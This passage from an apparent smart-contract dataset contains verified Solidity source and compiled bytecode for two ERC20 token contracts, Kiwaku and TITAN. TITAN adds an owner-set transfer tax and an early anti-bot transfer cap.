1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290612040576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612005578082015181840152602081019050611fea565b50505050905090810190601f1680156120325780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156120d1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612161576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061240f6021913960400191505060405180910390fd5b6121cd8160405180606001604052806022815260200161230360229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f939092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122258160065461229590919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006122d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f93565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20426967207472616e73616374696f6e7320617265206c6f636b656420746865206669727374203234684f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a647216615672ec307a330e2002c9b61c379f990ac1cffb72716960e376b091064736f6c63430006050033
|
{"success": true, "error": null, "results": {}}
| 9,022 |
0x5ff8a0a0937f8abb4b7a50a6c50a24b07453fad1
|
/**
*Submitted for verification at Etherscan.io on 2021-09-17
*/
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract Kiwaku is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// NOTE Start of https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/token/ERC20/ERC20Detailed.sol
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_mint(msg.sender, 1000000000 * 10 ** uint256(decimals)); // CAUTION!
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* > Note that this information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* `IERC20.balanceOf` and `IERC20.transfer`.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
// NOTE End of https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v2.3.0/contracts/token/ERC20/ERC20Detailed.sol
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(value);
_totalSupply = _totalSupply.sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
|
0x608060405234801561001057600080fd5b50600436106100c95760003560e01c80633950935111610081578063a457c2d71161005b578063a457c2d714610287578063a9059cbb146102c0578063dd62ed3e146102f9576100c9565b8063395093511461021357806370a082311461024c57806395d89b411461027f576100c9565b806318160ddd116100b257806318160ddd1461019857806323b872dd146101b2578063313ce567146101f5576100c9565b806306fdde03146100ce578063095ea7b31461014b575b600080fd5b6100d6610334565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101105781810151838201526020016100f8565b50505050905090810190601f16801561013d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101846004803603604081101561016157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356103e5565b604080519115158252519081900360200190f35b6101a06103fb565b60408051918252519081900360200190f35b610184600480360360608110156101c857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610401565b6101fd610465565b6040805160ff9092168252519081900360200190f35b6101846004803603604081101561022957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561046e565b6101a06004803603602081101561026257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166104b7565b6100d66104df565b6101846004803603604081101561029d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561055e565b610184600480360360408110156102d657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356105a7565b6101a06004803603604081101561030f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166105b4565b60028054604080516020601f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156103db5780601f106103b0576101008083540402835291602001916103db565b820191906000526020600020905b8154815290600101906020018083116103be57829003601f168201915b5050505050905090565b60006103f23384846105ec565b50600192915050565b60055490565b600061040e848484610733565b73ffffffffffffffffffffffffffffffffffffffff841660009081526001602090815260408083203380855292529091205461045b918691610456908663ffffffff6108ea16565b6105ec565b5060019392505050565b60045460ff1690565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916103f2918590610456908663ffffffff61096116565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b60038054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103db5780601f106103b0576101008083540402835291602001916103db565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916103f2918590610456908663ffffffff6108ea16565b60006103f2338484610733565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260016020908152604080832093909416825291909152205490565b73ffffffffffffffffffffffffffffffffffffffff8316610658576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180610a476024913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff82166106c4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610a006022913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff831661079f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180610a226025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff821661080b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806109dd6023913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8316600090815260208190526040902054610841908263ffffffff6108ea16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152602081905260408082209390935590841681522054610883908263ffffffff61096116565b73ffffffffffffffffffffffffffffffffffffffff8084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008282111561095b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6000828201838110156109d557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820c83329050eaa8ac750515d5c6ff976b65f2099a12a8798ce946beb35170da8ab64736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 9,023 |
0x983c059d1be984f8f06c2559351c5ab1cb1dcdb7
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface ITITANVault {
function balanceOf(address account) external view returns (uint256);
function addTaxFee(uint256 amount) external returns (bool);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* TITAN contract
*
* Name : TITAN TOKEN
* Symbol : TITAN
* Total supply: 1,300,000
* Decimals : 18
*
* ERC20 Token, with the Burnable, Pausable and Ownable from OpenZeppelin
*/
contract TITANToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint16 public _taxFee;
address public _vault;
address private _tokenOwner;
uint8 private _initialMaxTransfers;
uint256 private _initialMaxTransferAmount;
modifier onlyVault() {
require(_vault == _msgSender(), "Ownable: caller is not vault");
_;
}
event ChangedTaxFee(address indexed owner, uint16 fee);
event ChangedVault(
address indexed owner,
address indexed oldAddress,
address indexed newAddress
);
event ChangedInitialMaxTransfers(address indexed owner, uint8 count);
constructor(address tokenOwner) {
_name = "Titan Token";
_symbol = "TITAN";
_decimals = 18;
_tokenOwner = tokenOwner;
// set initial tax fee(transfer) fee as 2%
// It is allow 2 digits under point
_taxFee = 200;
_initialMaxTransfers = 50;
_initialMaxTransferAmount = 1000e18; // initial around 0.1 eth(1000 TITAN)
_mint(_tokenOwner, 1300e21);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
if (_checkWithoutFee()) {
_transfer(_msgSender(), recipient, amount);
} else {
uint256 taxAmount = amount.mul(uint256(_taxFee)).div(10000);
uint256 leftAmount = amount.sub(taxAmount);
_transfer(_msgSender(), _vault, taxAmount);
_transfer(_msgSender(), recipient, leftAmount);
ITITANVault(_vault).addTaxFee(taxAmount);
}
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
if (_checkWithoutFee()) {
_transfer(sender, recipient, amount);
} else {
uint256 feeAmount = amount.mul(uint256(_taxFee)).div(10000);
uint256 leftAmount = amount.sub(feeAmount);
_transfer(sender, _vault, feeAmount);
_transfer(sender, recipient, leftAmount);
ITITANVault(_vault).addTaxFee(feeAmount);
}
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function setTaxFee(uint16 fee) external onlyOwner {
_taxFee = fee;
emit ChangedTaxFee(_msgSender(), fee);
}
function setVault(address vault) external onlyOwner {
require(vault != address(0), "Invalid vault contract address");
address oldAddress = _vault;
_vault = vault;
emit ChangedVault(_msgSender(), oldAddress, _vault);
}
function setInitialMaxTransfers(uint8 count) external onlyOwner {
_initialMaxTransfers = count;
emit ChangedInitialMaxTransfers(_msgSender(), count);
}
function burnFromVault(uint256 amount) external onlyVault returns (bool) {
_burn(_vault, amount);
return true;
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient != _vault) {
// for anti-bot
if (sender != _vault && sender != _tokenOwner) {
if (_initialMaxTransfers != 0) {
require(
amount <= _initialMaxTransferAmount,
"Can't transfer more than 1000 TITAN for initial 50 times."
);
_initialMaxTransfers--;
}
}
}
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _checkWithoutFee() internal view returns (bool) {
if (_msgSender() == _vault || _msgSender() == _tokenOwner) {
return true;
} else {
return false;
}
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a9c6325811610071578063a9c63258146103a1578063dd62ed3e146103be578063f2fde38b146103ec578063f50c01ef14610412578063fd243da3146104335761012c565b8063715018a6146103155780638da5cb5b1461031d57806395d89b4114610341578063a457c2d714610349578063a9059cbb146103755761012c565b806339509351116100f4578063395093511461025c5780633b124fe7146102885780636817031b146102a75780636dfe4e0c146102cf57806370a08231146102ef5761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b61013961043b565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b0381351690602001356104d2565b604080519115158252519081900360200190f35b6101f66104f0565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b038135811691602081013590911690604001356104f6565b61024661067c565b6040805160ff9092168252519081900360200190f35b6101da6004803603604081101561027257600080fd5b506001600160a01b038135169060200135610685565b6102906106d3565b6040805161ffff9092168252519081900360200190f35b6102cd600480360360208110156102bd57600080fd5b50356001600160a01b03166106e2565b005b6102cd600480360360208110156102e557600080fd5b503560ff1661080d565b6101f66004803603602081101561030557600080fd5b50356001600160a01b03166108cb565b6102cd6108e6565b610325610988565b604080516001600160a01b039092168252519081900360200190f35b610139610997565b6101da6004803603604081101561035f57600080fd5b506001600160a01b0381351690602001356109f8565b6101da6004803603604081101561038b57600080fd5b506001600160a01b038135169060200135610a60565b6101da600480360360208110156103b757600080fd5b5035610b80565b6101f6600480360360408110156103d457600080fd5b506001600160a01b0381358116916020013516610c18565b6102cd6004803603602081101561040257600080fd5b50356001600160a01b0316610c43565b6102cd6004803603602081101561042857600080fd5b503561ffff16610d3b565b610325610df8565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104c75780601f1061049c576101008083540402835291602001916104c7565b820191906000526020600020905b8154815290600101906020018083116104aa57829003601f168201915b505050505090505b90565b60006104e66104df610e6f565b8484610e73565b5060015b92915050565b60035490565b6000610500610f5f565b1561051557610510848484610fc1565b610602565b60065460009061053d9061271090610537908690610100900461ffff166111e0565b90611239565b9050600061054b848361127b565b905061056d86600660039054906101000a90046001600160a01b031684610fc1565b610578868683610fc1565b600660039054906101000a90046001600160a01b03166001600160a01b031663acb55ab1836040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156105d357600080fd5b505af11580156105e7573d6000803e3d6000fd5b505050506040513d60208110156105fd57600080fd5b505050505b6106728461060e610e6f565b61066d8560405180606001604052806028815260200161157a602891396001600160a01b038a1660009081526002602052604081209061064c610e6f565b6001600160a01b0316815260208101919091526040016000205491906112b9565b610e73565b5060019392505050565b60065460ff1690565b60006104e6610692610e6f565b8461066d85600260006106a3610e6f565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610e0e565b600654610100900461ffff1681565b6106ea610e6f565b6000546001600160a01b0390811691161461073a576040805162461bcd60e51b815260206004820181905260248201526000805160206115a2833981519152604482015290519081900360640190fd5b6001600160a01b038116610795576040805162461bcd60e51b815260206004820152601e60248201527f496e76616c6964207661756c7420636f6e747261637420616464726573730000604482015290519081900360640190fd5b600680546001600160a01b0383811663010000009081026301000000600160b81b031984161793849055918290048116929190910416816107d4610e6f565b6001600160a01b03167f212b71a61ed5acf0871c06f022fcb8e2670b5f32677efe666f8c2f2254337b3960405160405180910390a45050565b610815610e6f565b6000546001600160a01b03908116911614610865576040805162461bcd60e51b815260206004820181905260248201526000805160206115a2833981519152604482015290519081900360640190fd5b6007805460ff60a01b1916600160a01b60ff841602179055610885610e6f565b6001600160a01b03167f3e59c333e0afc14664476c763a75bde9e423d546070bd86f5b9a6a0a9c55f0ed82604051808260ff16815260200191505060405180910390a250565b6001600160a01b031660009081526001602052604090205490565b6108ee610e6f565b6000546001600160a01b0390811691161461093e576040805162461bcd60e51b815260206004820181905260248201526000805160206115a2833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104c75780601f1061049c576101008083540402835291602001916104c7565b60006104e6610a05610e6f565b8461066d856040518060600160405280602581526020016116656025913960026000610a2f610e6f565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906112b9565b6000610a6a610f5f565b15610a8657610a81610a7a610e6f565b8484610fc1565b6104e6565b600654600090610aa89061271090610537908690610100900461ffff166111e0565b90506000610ab6848361127b565b9050610adc610ac3610e6f565b600654630100000090046001600160a01b031684610fc1565b610aee610ae7610e6f565b8683610fc1565b600660039054906101000a90046001600160a01b03166001600160a01b031663acb55ab1836040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015610b4957600080fd5b505af1158015610b5d573d6000803e3d6000fd5b505050506040513d6020811015610b7357600080fd5b5050505050600192915050565b6000610b8a610e6f565b600654630100000090046001600160a01b03908116911614610bf3576040805162461bcd60e51b815260206004820152601c60248201527f4f776e61626c653a2063616c6c6572206973206e6f74207661756c7400000000604482015290519081900360640190fd5b600654610c1090630100000090046001600160a01b031683611350565b506001919050565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610c4b610e6f565b6000546001600160a01b039081169116146